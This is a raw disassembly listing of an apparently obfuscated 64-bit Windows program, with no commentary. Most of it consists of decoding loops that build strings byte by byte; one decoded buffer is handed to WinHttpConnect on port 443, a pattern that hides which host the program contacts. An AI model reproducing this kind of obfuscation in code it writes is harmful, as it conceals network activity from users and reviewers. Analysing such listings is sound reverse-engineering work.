lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140148ef8
add r10b, 0x58
mov al, r8b
and al, r10b
add al, al
sub r8b, al
lea ebx, [r10 + r8]
sub bl, 0x68
jmp 0x1401490a0
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140148f1c
add r10b, 0x74
mov al, r8b
and al, r10b
add al, al
sub r8b, al
lea ebx, [r10 + r8]
sub bl, 0x2c
jmp 0x140149038
lea rax, [r11 + 9]
cmp rdi, rax
jne 0x140148c42
lea edx, [r10 + 0x28]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x140148ff7
lea edx, [r10 - 0x70]
mov al, r8b
and al, dl
mov cl, r8b
sub cl, al
add cl, 8
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14014905f
lea edx, [r10 + 0x44]
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add r10b, 0x1e
mov al, r10b
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r10b
add cl, r8b
movzx eax, cl
mov r9, qword [rsp + 0x48]
mov byte [rbp + r9 + 0x280], al
mov r11, r15
add rax, r15
sub r9, rax
mov qword [rsp + 0x48], r9
jmp 0x1401490e5
add r10b, 0x66
mov al, r8b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r10b
jmp 0x1401490a0
add r10b, 0x4a
mov al, r8b
and al, r10b
add al, al
sub r8b, al
lea ebx, [r10 + r8]
sub bl, 6
jmp 0x14014903d
lea edx, [r10 - 0x6a]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1a
add bl, dl
jmp 0x140149012
mov r10b, cl
lea ecx, [r10 + 0x2e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
sub r10b, 0x4a
mov al, r10b
and al, r8b
mov ecx, 3
sub cl, al
add cl, cl
add cl, r10b
add cl, r8b
mov r9, qword [rsp + 0x48]
mov byte [rbp + r9 + 0x280], cl
mov rcx, qword [rsp + 0x48]
inc r11
dec rcx
jmp 0x140149149
mov r10b, cl
lea ecx, [r10 + 0x12]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7e
add r10b, 0x6a
mov al, r10b
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
add cl, r8b
mov r9, qword [rsp + 0x48]
mov byte [rbp + r9 + 0x280], cl
jmp 0x1401490a5
lea edx, [rcx + 0x5e]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r9, qword [rsp + 0x48]
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
mov qword [rsp + 0x48], r9
mov rcx, r9
jmp 0x140149149
movabs rax, 0x60184c51a17fc42
add rax, rcx
and dl, al
mov ecx, Ordinal_27
sub cl, dl
lea ebx, [rcx + rcx]
add bl, al
add bl, r8b
mov r9, qword [rsp + 0x48]
lea edx, [r9 - 8]
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x280], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
mov rcx, qword [rsp + 0x48]
add rcx, rax
jmp 0x14014913b
movabs rax, 0x36cdb60fdc74ca8e
add rax, rcx
and dl, al
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, dl
lea ebx, [rcx + rcx]
add bl, al
add bl, r8b
mov rcx, qword [rsp + 0x48]
movzx eax, byte [rbp + rcx + 0x280]
add rax, r11
add rcx, rax
inc rcx
jmp 0x14014888c
add r10b, 0x42
mov al, r8b
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r10b
jmp 0x14014888a
sub r10b, 0x72
mov al, r8b
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r10b
jmp 0x14014887a
lea rdx, [rbp + 0x152b4f8]
jmp 0x1401491a8
lea rdx, [rbp + 0xa44dd2]
jmp 0x1401491a8
lea rdx, [rbp + 0x280]
mov r8d, 0x1bb
xor r9d, r9d
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r14, rax
mov qword [rsp + 0x50], rax
mov byte [rbp + 0x3e0], 0xbf
mov byte [rbp + 0x3e1], WSAStartup
mov byte [rbp + 0x3e2], 0xcb
mov byte [rbp + 0x3e3], WSASetLastError
mov byte [rbp + 0x3e4], 0xf8
mov byte [rbp + 0x3e5], WSAGetLastError
mov byte [rbp + 0x3e6], 0xff
mov byte [rbp + 0x3e7], 0x67
mov byte [rbp + 0x3e8], 0xb7
mov byte [rbp + 0x3e9], 0x65
mov byte [rbp + 0x3ea], 0xe9
mov byte [rbp + 0x3eb], 0x63
mov byte [rbp + 0x3ec], 0xfd
mov byte [rbp + 0x3ed], 0x61
mov byte [rbp + 0x3ee], 0xc0
mov byte [rbp + 0x3ef], 0x5f
mov byte [rbp + 0x3f0], Ordinal_200
mov byte [rbp + 0x3f1], 0x5d
mov byte [rbp + 0x3f2], 0xc9
mov byte [rbp + 0x3f3], 0x5b
mov byte [rbp + 0x3f4], 0xcb
mov byte [rbp + 0x3f5], 0x59
mov byte [rbp + 0x3f6], 0xc1
mov byte [rbp + 0x3f7], 0x57
mov byte [rbp + 0x3f8], 0xdb
mov byte [rbp + 0x3f9], 0x55
mov byte [rbp + 0x3fa], 0x81
mov byte [rbp + 0x3fb], 0x53
mov byte [rbp + 0x3fc], 0x81
mov byte [rbp + 0x3fd], 0x51
mov byte [rbp + 0x3fe], 0x80
mov byte [rbp + 0x3ff], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x400], 0x82
mov byte [rbp + 0x401], Ordinal_79
mov byte [rbp + 0x402], 0x9a
mov byte [rbp + 0x403], Ordinal_79
mov byte [rbp + 0x404], 0x84
mov byte [rbp + 0x405], Ordinal_79
mov byte [rbp + 0x406], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x407], 0x47
mov byte [rbp + 0x408], 0x88
mov byte [rbp + 0x409], 0x45
mov byte [rbp + 0x40a], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x40b], 0x43
mov byte [rbp + 0x40c], Ordinal_143
mov byte [rbp + 0x40d], 0x41
mov byte [rbp + 0x40e], 0xf7
mov byte [rbp + 0x40f], 0x3f
mov byte [rbp + 0x410], 0xf0
mov byte [rbp + 0x411], 0x3d
mov byte [rbp + 0x412], 0xf6
mov byte [rbp + 0x413], Ordinal_60
mov byte [rbp + 0x414], 0xf3
mov byte [rbp + 0x415], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x416], 0xf9
mov byte [rbp + 0x417], Ordinal_60
mov byte [rbp + 0x418], 0xfa
mov byte [rbp + 0x419], gethostname
mov byte [rbp + 0x41a], 0xfb
mov byte [rbp + 0x41b], gethostname
mov byte [rbp + 0x41c], 0xf9
mov byte [rbp + 0x41d], Ordinal_50
mov byte [rbp + 0x41e], 0xfe
mov byte [rbp + 0x41f], Ordinal_50
mov byte [rbp + 0x420], 0xe0
mov byte [rbp + 0x421], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x422], 0xf9
mov byte [rbp + 0x423], Ordinal_45
mov byte [rbp + 0x424], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x425], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x426], 0x9f
mov byte [rbp + 0x427], Ordinal_45
mov byte [rbp + 0x428], 0xb7
mov byte [rbp + 0x429], Ordinal_41
mov byte [rbp + 0x42a], 0xb6
mov byte [rbp + 0x42b], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x42c], 0xab
mov byte [rbp + 0x42d], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x42e], Ordinal_211
mov byte [rbp + 0x42f], Ordinal_33
mov byte [rbp + 0x430], Ordinal_143
mov byte [rbp + 0x431], Ordinal_33
mov byte [rbp + 0x432], Ordinal_211
mov byte [rbp + 0x433], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x434], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x435], Ordinal_27
mov byte [rbp + 0x436], 0xda
mov byte [rbp + 0x437], reloc.WS2_32.dll_socket
mov byte [rbp + 0x438], 0x9c
mov byte [rbp + 0x439], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x43a], 0xac
mov byte [rbp + 0x43b], reloc.WS2_32.dll_send
mov byte [rbp + 0x43c], Ordinal_143
mov byte [rbp + 0x43d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x43e], __WSAFDIsSet
mov byte [rbp + 0x43f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x440], __WSAFDIsSet
mov byte [rbp + 0x441], reloc.WS2_32.dll_listen
mov byte [rbp + 0x442], __WSAFDIsSet
mov byte [rbp + 0x443], ntohs
mov byte [rbp + 0x444], 0xb5
mov byte [rbp + 0x445], 9
mov byte [rbp + 0x446], Ordinal_217
mov byte [rbp + 0x447], 7
mov byte [rbp + 0x448], Ordinal_143
mov byte [rbp + 0x449], 5
mov byte [rbp + 0x44a], 0xbe
mov byte [rbp + 0x44b], 3
mov byte [rbp + 0x44c], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x44d], 1
mov byte [rbp + 0x44e], Ordinal_79
mov byte [rbp + 0x44f], 0xff
mov byte [rbp + 0x450], 0x63
mov byte [rbp + 0x451], 0xfd
mov byte [rbp + 0x452], WSASetLastError
mov byte [rbp + 0x453], 0xfb
mov byte [rbp + 0x454], 0x57
mov byte [rbp + 0x455], 0xf9
mov byte [rbp + 0x456], Ordinal_79
mov byte [rbp + 0x457], 0xf7
mov byte [rbp + 0x458], 0x63
mov byte [rbp + 0x459], 0xf5
mov byte [rbp + 0x45a], 0x62
mov byte [rbp + 0x45b], 0xf3
mov r13b, Ordinal_79
mov byte [rbp + 0x45c], r13b
mov byte [rbp + 0x45d], 0xf1
mov r12b, WSAStartup
mov byte [rbp + 0x45e], r12b
mov byte [rbp + 0x45f], 0xef
mov byte [rbp + 0x460], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x461], 0xed
mov byte [rbp + 0x462], 0x5c
mov byte [rbp + 0x463], 0xeb
mov byte [rbp + 0x464], 0x7a
mov byte [rbp + 0x465], 0xe9
mov byte [rbp + 0x466], WSAGetLastError
mov byte [rbp + 0x467], 0xe7
mov byte [rbp + 0x468], 0x45
mov byte [rbp + 0x469], 0xe5
mov byte [rbp + 0x46a], 0x50
mov byte [rbp + 0x46b], 0xe3
mov byte [rbp + 0x46c], 0x68
mov byte [rbp + 0x46d], 0xe1
mov byte [rbp + 0x46e], 0x51
mov byte [rbp + 0x46f], 0xdf
mov byte [rbp + 0x470], WSAStartup
mov byte [rbp + 0x471], 0xdd
mov byte [rbp + 0x472], 0x66
mov byte [rbp + 0x473], 0xdb
mov byte [rbp + 0x474], 0x47
mov byte [rbp + 0x475], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x476], 0x41
mov byte [rbp + 0x477], Ordinal_217
mov byte [rbp + 0x478], Ordinal_33
mov byte [rbp + 0x479], Ordinal_217
mov byte [rbp + 0x47a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x47b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x47c], WSASetLastError
mov byte [rbp + 0x47d], Ordinal_211
mov byte [rbp + 0x47e], 0x67
mov byte [rbp + 0x47f], Ordinal_211
mov byte [rbp + 0x480], 0x7d
mov byte [rbp + 0x481], Ordinal_211
mov byte [rbp + 0x482], 0
mov byte [rbp + 0x483], 0xcb
mov byte [rbp + 0x484], 0x7b
mov byte [rbp + 0x485], 0xc9
mov byte [rbp + 0x486], 0x48
mov byte [rbp + 0x487], Ordinal_200
mov byte [rbp + 0x488], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x489], Ordinal_200
mov byte [rbp + 0x48a], reloc.WS2_32.dll_listen
mov byte [rbp + 0x48b], Ordinal_200
mov byte [rbp + 0x48c], r13b
mov byte [rbp + 0x48d], 0xc1
mov byte [rbp + 0x48e], r12b
mov byte [rbp + 0x48f], 0xbf
mov byte [rbp + 0x490], Ordinal_45
mov byte [rbp + 0x491], 0xbd
mov byte [rbp + 0x492], Ordinal_45
mov byte [rbp + 0x493], 0xbb
mov byte [rbp + 0x494], WSAStartup
mov byte [rbp + 0x495], 0xb9
mov byte [rbp + 0x496], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x497], 0xb7
mov byte [rbp + 0x498], Ordinal_50
mov byte [rbp + 0x499], 0xb5
mov byte [rbp + 0x49a], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x49b], 0xb3
mov byte [rbp + 0x49c], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x49d], 0xb1
mov byte [rbp + 0x49e], 0x3d
mov byte [rbp + 0x49f], 0xaf
mov byte [rbp + 0x4a0], 0xa
mov byte [rbp + 0x4a1], 0xad
mov byte [rbp + 0x4a2], Ordinal_60
mov byte [rbp + 0x4a3], 0xab
mov byte [rbp + 0x4a4], 0
mov byte [rbp + 0x4a5], 0xa9
mov byte [rbp + 0x4a6], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x4a7], 0xa7
mov byte [rbp + 0x4a8], 5
mov byte [rbp + 0x4a9], 0xa5
mov byte [rbp + 0x4aa], Ordinal_50
mov byte [rbp + 0x4ab], 0xa3
mov byte [rbp + 0x4ac], 0xa0
mov byte [rbp + 0x4ad], 0xa1
xor eax, eax
mov word [rbp + 0x4ae], ax
mov byte [rbp + 0x4b0], al
mov bl, byte [rsp + 0x40]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0xd1
jae 0x14014a0e0
movzx r9d, byte [rbp + r11 + 0x3e0]
mov edx, r9d
mov r8b, r11b
cmp rdi, r11
ja 0x14014a0d7
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401497e2
movabs rcx, 0x9ad507f7cf40c812
add rcx, r11
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
sub bl, 0x7e
jmp 0x1401497f5
je 0x14014a066
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014a04b
mov r8b, r11b
cmp r10, r11
ja 0x14014a0ce
lea rax, [r10 + 0xa]
cmp rdi, rax
jae 0x140149820
lea ecx, [r8 + 0x7a]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x56
jmp 0x140149854
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014a011
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140149ff9
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140149fce
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140149f5e
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x140149cc4
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x140149cab
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140149c90
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140149c75
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140149c5c
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140149c41
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140149c26
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140149c0d
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x140149bf2
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140149bd7
lea rax, [r10 + 0x10]
cmp rdi, rax
je 0x140149861
lea rdi, [r10 + 0x400]
lea r10, [rdi + 3]
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x14014a0b3
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14014a098
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x140149a42
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x140149a29
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140149a10
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x140149b90
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140149b4f
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140149b19
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x140149af6
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x140149861
lea rdi, [r10 + 0x20]
lea r10, [rdi + 0x20]
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x140149ae8
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140149ada
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x140149acc
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x140149abe
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x140149ab0
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140149a96
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x140149a88
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x140149a69
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140149a5b
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140149861
mov rdi, rax
lea r10, [rax + 3]
jmp 0x140149861
lea ecx, [r8 - 0x3a]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6a
jmp 0x140149854
lea ecx, [r8 - 0x5e]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6e
jmp 0x1401497f8
lea ecx, [r8 + 0x7e]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r12b
jmp 0x1401497ae
lea edx, [r8 - 0x30]
mov ecx, Ordinal_41
jmp 0x140149d75
sub r8b, 0x54
mov al, r8b
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014a046
sub r8b, 0x78
mov ecx, 0x24
jmp 0x140149dbd
lea edx, [r8 + 0x64]
mov al, dl
and al, r9b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x140149f21
add r8b, 0x40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140149de5
add r8b, 0x1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140149d49
lea edx, [r8 - 8]
mov ecx, Ordinal_32
jmp 0x140149d23
sub r8b, 0x2c
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x140149e28
sub r8b, 0x50
mov ecx, Ordinal_27
jmp 0x140149cfb
add r8b, 0x56
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x5a
mov byte [rbp + r11 + 0x3e0], bl
jmp 0x14014a090
lea ecx, [r8 + 0x32]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5e
cmp r10, 0x2a
jb 0x140149b0c
lea ecx, [r8 + 0x2c]
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x68]
jmp 0x14014a025
lea ecx, [r8 + 0xe]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x62
cmp rdi, 9
jae 0x140149f0d
lea rcx, [r10 + 9]
cmp rdi, rcx
jbe 0x140149e3e
lea ecx, [r8 - 0x3c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5c
jmp 0x140149b2d
lea ecx, [r8 - 0x16]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x66
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x140149f4c
lea rax, [r10 + 0x2a]
cmp rdi, rax
jbe 0x140149d89
lea ecx, [r8 + 0x4a]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 6
jmp 0x140149b63
sub r8b, 0x24
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 4
jmp 0x14014a081
sub r8b, 0x48
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 8
jmp 0x140149f9f
lea ecx, [r8 - 0x6c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
jmp 0x140149f72
add r8b, 0x70
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x10
jmp 0x140149fe7
add r8b, 0x4c
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x14
jmp 0x140149fe4
lea ecx, [r8 + 0x28]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x140149f24
add r8b, 4
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x1c
jmp 0x14014a061
sub r8b, 0x20
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x20
jmp 0x14014a046
lea ecx, [r8 - 0x44]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x24
jmp 0x14014a025
lea rax, [r10 + 0x200]
cmp rdi, rax
jae 0x140149ce9
lea ecx, [r8 + 0x12]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7e
jmp 0x140149ba4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140149d11
sub r8b, 0xc
mov ecx, Ordinal_45
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014a081
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140149d37
lea edx, [r8 + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140149f72
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140149d5f
add r8b, 0x60
mov ecx, Ordinal_50
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140149fe7
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140149ba4
lea edx, [r8 + 0x14]
mov ecx, Ordinal_60
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014a025
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140149dab
lea ecx, [r8 + 0x6e]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 2
jmp 0x14014a025
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140149dd3
sub r8b, 0x4a
mov ecx, 3
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014a061
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140149dfb
sub r8b, 2
mov ecx, 7
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140149fe4
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140149e12
lea edx, [r8 + 0x46]
mov ecx, ntohs
jmp 0x140149d23
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140149b63
add r8b, 0x6a
mov ecx, reloc.WS2_32.dll_listen
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140149f9f
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140149e62
sub r8b, 0x18
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x58
jmp 0x14014a081
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140149e84
lea ecx, [r8 + 0x30]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x50
jmp 0x140149f72
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140149ea8
add r8b, 0x54
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x4c
jmp 0x140149fe7
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140149ecc
add r8b, 0x78
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x48
jmp 0x140149fe4
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140149eeb
lea ecx, [r8 - 0x64]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x44
jmp 0x140149f24
cmp rdi, rcx
jne 0x140149b2d
lea ecx, [r8 + 8]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x38
jmp 0x14014a025
lea ecx, [r8 + 0x50]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
add bl, r9b
add r8b, 0x62
mov al, r9b
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add cl, r9b
add cl, bl
add cl, r8b
mov byte [rbp + r11 + 0x3e0], cl
jmp 0x140149fe4
lea ecx, [r8 + 0x74]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [rcx - 0x2c]
jmp 0x140149f72
lea ecx, [r8 + 0x76]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3a
sub r8b, 0x7a
mov al, r9b
and al, r8b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r9b
add cl, r8b
movzx eax, cl
mov byte [rbp + r11 + 0x3e0], al
inc r10
add rax, r10
sub r11, rax
lea ecx, [r11 - 0x68]
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x28
add r9b, cl
mov byte [rbp + r11 + 0x3e0], r9b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x14014a081
add r8b, 0x2e
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x42
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x14014a090
sub r8b, 0x1a
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x4a
jmp 0x14014a061
lea ecx, [r8 - 0x62]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x52
add r8b, 0x3e
mov al, r9b
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r9b
add cl, r8b
mov byte [rbp + r11 + 0x3e0], cl
inc r10
jmp 0x14014a061
add r8b, 0xe
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x62
dec r11
jmp 0x14014a090
movabs rax, 0xd07f17e76dc25836
add rax, r11
and dl, al
add dl, dl
sub r9b, dl
lea ebx, [rax + r9]
sub bl, 0x7a
movzx eax, byte [rbp + r11 + 0x3e0]
add rax, r10
add r11, rax
inc r11
jmp 0x140149792
add r8b, 0x5a
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x76
jmp 0x14014978f
add r8b, 0x36
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x7a
jmp 0x14014977f
lea rsi, [rbp + 0x1466ff8]
jmp 0x14014a0e7
lea rsi, [rbp + 0x47380a]
jmp 0x14014a0e7
lea rsi, [rbp + 0x3e0]
mov byte [rbp + 0x30], 0xb6
mov byte [rbp + 0x31], 0x79
mov byte [rbp + 0x32], 0xa9
mov byte [rbp + 0x33], 0x7b
mov byte [rbp + 0x34], 0xaf
mov byte [rbp + 0x35], 0x7d
mov byte [rbp + 0x36], 0xa8
mov byte [rbp + 0x37], 0x7f
mov byte [rbp + 0x38], 0x7e
mov byte [rbp + 0x39], WSAStartup
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3a], xmm0
mov word [rbp + 0x4a], ax
mov r15d, 0x1000
mov bl, byte [rsp + 0x40]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x1c
jae 0x14014abb7
movzx r9d, byte [rbp + r11 + 0x30]
mov edx, r9d
cmp rdi, r11
ja 0x14014abae
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014a180
movabs rcx, 0xc3cb7c9082a1ae0f
add rcx, r11
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x69
jmp 0x14014a1ba
je 0x14014ab40
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014aad3
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014aa89
